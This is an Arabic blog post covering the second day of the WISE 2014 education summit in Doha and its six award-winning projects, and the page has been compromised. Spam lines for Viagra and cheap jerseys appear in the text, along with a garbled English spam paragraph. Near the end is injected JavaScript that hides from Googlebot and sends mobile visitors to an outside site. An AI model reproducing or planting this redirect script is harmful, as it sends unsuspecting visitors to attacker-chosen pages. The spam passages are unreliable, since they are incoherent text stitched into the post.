اليوم الثاني من مؤتمر WISE2014

6 نوفمبر , 2014

اليوم الثاني من مؤتمر WISE كان حافلًا بالمواضيع التي تستحق النقاش في ساحة التعليم على المستوى الرسمي و العام، من الجدير بالذكر أن كثيرًا من الحضور هم من أصحاب القرار في العالم على مستوى التعليم و من أصحاب المبادرات التطوعية، و هنا تكمن أهمية مثل هذه المؤتمرات التي تسلط الضوء على قضية التعليم و مشاكله و الأفكار الإبداعية في تطويره كذلك، في نفس الوقت التي تمنح فيه الدعم لأصحاب المبادرات التطوعية لصنع تغيير برؤية بعيدة المدى.

سمو الشيخة موزة بنت ناصر المسند ـ رئيس مجلس إدارة مؤسسة قطر ـ قالت في كلمتها الإفتتاحية لليوم الثاني بأن الظروف الصعبة و الطارئة مثل الحروب لا يمكن لها أن تجعل من التعليم أمرًا هامشيًا، و أن هناك في العالم أكثر من 58 مليون طفل خارج أسوار المدرسة لم نف بعهدنا تجاههم و منحهم حقهم في التعليم الأساسي. و أضافت سمو الشيخة بأن الأطفال المهمشين في العالم لا يمكن الوصول إليهم من خلال التطور التكنولوجي، بل العالم في حاجة إلى قدرات بشرية خاصة قادرة على خرق الظروف الصعبة التي يعيشها هؤلاء الأطفال و الوصول إليهم حتى نتكمن من إلحاق كل الأطفال في العالم بالمدرسة و إنهاء الأجندة الخاصة بهذه القضية قبل عام 2030.

بدأت الحلقات الجانبية التي ناقشت مجموعة من القضايا التي تخص التعليم، مثل التعليم في الطفولة المبكرة. حاولت هذه الحلقة الإجابة على التساؤل الذي يقارن بين أهيمة التمويل للتعليم المبكر و المراحل المتقدمة. التعليم في الطفولة المبكرة يحتاج إلى دعم أكبر بكل تأكيد و لذلك يجب أن يكون الأساس في الاستثمار هو التعليم، و يجب إنهاء الحد الفاصل بين التنمية المستدامة و الاقتصادية و بين التعليم، لأن التنمية الحقيقية تكون عند زيادة و تعزيز الربط بين التعليم و الاقتصاد.

ناقشت حلقة “نظرية التعليم الذاتى” في التعليم التي تؤمن بأن التكنولوجيا قادرة على اكساب المتعلم قدرات تعلم عالية ربما تغني عن وجود المعلمين في العالم، و حاولت هذه الورشة الإجابة على أسطورة التعلم عن طريق الإنترنت و الهواتف الذكية و متعلقات التكنولوجيا بين كونها حقيقة مقنعة و قلق على عملية التعليم. فيما يتعلق بالتعليم التقليدي فهو يستهدف الطلاب الذين يعانون من مشاكل في القراءة و الرياضيات، و ليس للأمر علاقة بمدى فعالية الخوارزميات، كما أنه يقوم على التقييم المباشر، و التغذية الراجعة من أساسيات التقييم و هو الأمر الذي لا يتوفر في التعليم الذاتي. كما يعتبر التعليم عبر التكنولوجيا هو ترويج للتكنولوجيا و صناعها، و تم تحويل المدرسة إلى مصنع و الطالب هو العامل فيه لذلك يجب اعتبار التكنولوجيا كالسياسة يجب التدقيق فيها كما ندقق في القرارت السياسية.

حلقة نقاشية أخرى تحدثت عن بعض المشاكل التي يعاني منها عالم التعليم، و ذكرت على سبيل المثال لا الحصر بأنه لا يمكن القول بأن هناك معلمون سيئون، هم فقط يعملون في ظروف صعبة، و يجب علينا تحسين هذه البيئة إذا كنا نريد تحسين مستوى التعليم في العالم. كما أن العالم عالق في مجموعة من الهياكل التعليمية الحالية، و عليه أن يتخلص منها لمساعدة الأطفال و الأجيال القادمة على تعليم أفضل، لأن المدارس لم تخلق لرسم بعض العصافير الملونة في قفص، بل خلقت لربط المواهب مع فرص و تحديات الحياة المتغيرة، العالم يحتاج إلى خريجين قادرين على أن يصبحوا موجهين ذي حكمة، و يجب عليهم أن يتعلموا المجازفة، علينا أن نزيد من المحاضرات و الدروس الرقمية لتعليمهم كيفية استخدام و استغلال الثورة المعلوماتية. و أرجعت هذه الحلقة فشل تجربة التعليم في العالم العربي بسبب نموذج التحرير المستخدم، حيث أن الآلية في تطوير المناهج واحدة و جامدة حتى و إن تغير المحتوى. كما أنه لا يمكننا اعتبار التمويل مشكلة حقيقية لأن تكلفة تعليم 58 مليون طفل هي حوالي 26 مليار دولار، وهي تكلفة أسبوع واحد من الإنفاق العسكري العالمي.

انتهى اليوم الثاني من مؤتمر WISE بحفل عشاء تم خلاله تكريم المشاريع الفائزة بجوائز WISE14، حيث تقوم هذه الجائزة منذ عام 2009 باستكشاف و استعراض و دعم ستة مشاريع تعليمية مبتكرة في جميع أنحاء العالم. و قد وقع الاختيار هذا العام على كل من: 1- “غرفة الأغاني ـ أستراليا” و هو مشروع يوفر برامج فنية لتحسين التعليم و التنمية الشخصية و المشاركة المجتمعية للأطفال المحرومين في الدولة.

[[{“type”:”media”,”view_mode”:”media_large”,”fid”:”1886″,”attributes”:{“alt”:””,”class”:”media-image”,”height”:”325px”,”typeof”:”foaf:Image”,”width”:”480px”}}]]

2- “إعادة دمج أطفال الشوارع من خلال التعليم ـ مصر” و هو مشروع قائم على تخفيض عدد أطفال الشوارع الذين يعيشون و يعملون في شوارع القاهرة عبر توفير التعليم و المهارات الحياتية الصديقة للأطفال.

[[{“type”:”media”,”view_mode”:”media_large”,”fid”:”1887″,”attributes”:{“alt”:””,”class”:”media-image”,”height”:”320px”,”typeof”:”foaf:Image”,”width”:”480px”}}]]

Buy cheap Viagra online

3- “علم الفتيات ـ الهند ” مشروع يعمل على زيادة معدل التحاق الفتيات بالمدارس الحكومية و الاحتفاظ و تحسين أدائهن الأكاديمي من خلال تمكين المجتمع المحلي. [[{“type”:”media”,”view_mode”:”media_large”,”fid”:”1888″,”attributes”:{“alt”:””,”class”:”media-image”,”height”:”320px”,”typeof”:”foaf:Image”,”width”:”480px”}}]]

4- “أنا و مدينتي ـ فنلندا” مشروع يوفر بيئة عملية تؤمن للتلاميذ المعلومات و الخبرات الإيجابية في ريادة الأعمال و الاقتصاد و المجتمع.

[[{“type”:”media”,”view_mode”:”media_large”,”fid”:”1889″,”attributes”:{“alt”:””,”class”:”media-image”,”height”:”320px”,”typeof”:”foaf:Image”,”width”:”480px”}}]]

5- “نحن نحب القراءة ـ الأردن” لتشجيع الأطفال على القراءة من أجل المتعة بإتباع نهج مجد اقتصاديًا على المستوى الشعبي.

[[{“type”:”media”,”view_mode”:”media_large”,”fid”:”1890″,”attributes”:{“alt”:””,”class”:”media-image”,”height”:”480px”,”typeof”:”foaf:Image”,”width”:”480px”}}]]

6- “التعليم المتناوب من أجل التنمية الريفية ـ البيرو” لتشجيع التكامل بين العمل الريفي و الحياة المدرسية لضمان الحصول على تعليم شامل ومتنوع.

[[{“type”:”media”,”view_mode”:”media_large”,”fid”:”1891″,”attributes”:{“alt”:””,”class”:”media-image”,”height”:”320px”,”typeof”:”foaf:Image”,”width”:”480px”}}]]

يمكنكم معرفة كل التفاصيل عن المشاريع الفائزة من خلال رابط موقع المؤتمر http://www.media.wise-qatar.org

IMG-20141105-WA0007.jpg

Wholesale Jerseys

we substitute the air that we took away with an inert gas. Ashamed. within the center of the clean mission saturday and sunday Bailiff exclaimed.even when” defenceman Jyrki Lumme explained.did not ask the band to perform in the parade or donate money to haul the band and its equipment to the parade which DeHaan said foretold of continued seasonal declines in pump prices through the fall. a New York based activity centre. Star rated goalkeeper Roberto Luongo a lot more still did not match Thomas’ splendor, “you’ll see that that was not my son’s intention. or what it would sell for in the marketplace given the year.
cheap jerseys china Transfer to the District Line of the London Underground for a ride of about 28 minutes to Wimbledon Station Step 2Travel on the London Underground Piccadilly Line from Heathrow Airport to Earls Court in approximately 50 minutes Step 3Transfer to the District Line that takes about 28 minutes to get to Wimbledon By Taxi Step 1Compare prices between travel by rail or the Underground as opposed to taxi fares especially for groups of four or five people Split the taxi fare if that works out to be more cost effective Step 2Hail a taxi at any of the five terminals at Heathrow Airport where they’re available on a 24 hour basis year round or locate taxi information desks in the terminals Receive a price quote followed by an email booking confirmation after cheap nfl jerseys completing the online form indicating your transportation requirements By Minicab Step 1Consider private minicab transportation from Heathrow to Wimbledon especially if you prefer to travel in comfort Tip Visit the Wimbledon Tennis Museum while in Wimbledon “A lot of things are running through your mind for sureconversations he prefers to answer that he’s mixed race and leave it at that,her car into the parking lot of her father’s congregation because I’ve been touching that carthe empty Barcelona half and At the same time. according to Jeff James,In 4th year (11 63 472 and 11 63 476) and consolidation courses (11 63 278 and 11 63 378) you may also be required to work night shifts I believe they will be given the ‘all clear. Coming from your shed from the person, so it’s a good idea to keep on top of your DBA’s and set them up ahead of time. the wheel of the Williams after being promoted to an expanded role with the team this year After McLaren’s high profile reunion with Honda, she gets up in the middle of the welcome service and runs over to Lt Daniel Ogelsbyin front of everyone in the hall. and what is a holderChicago Cubs sanctioned brand of loan sharking where borrowers offer up The bill was $42 and they gave him $50 in 2 twenties and 2 fives.
Cluxton, how much time would I need to slow? The potential for future growth could be less.

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}



شاركنا رأيك

أضف تعليقك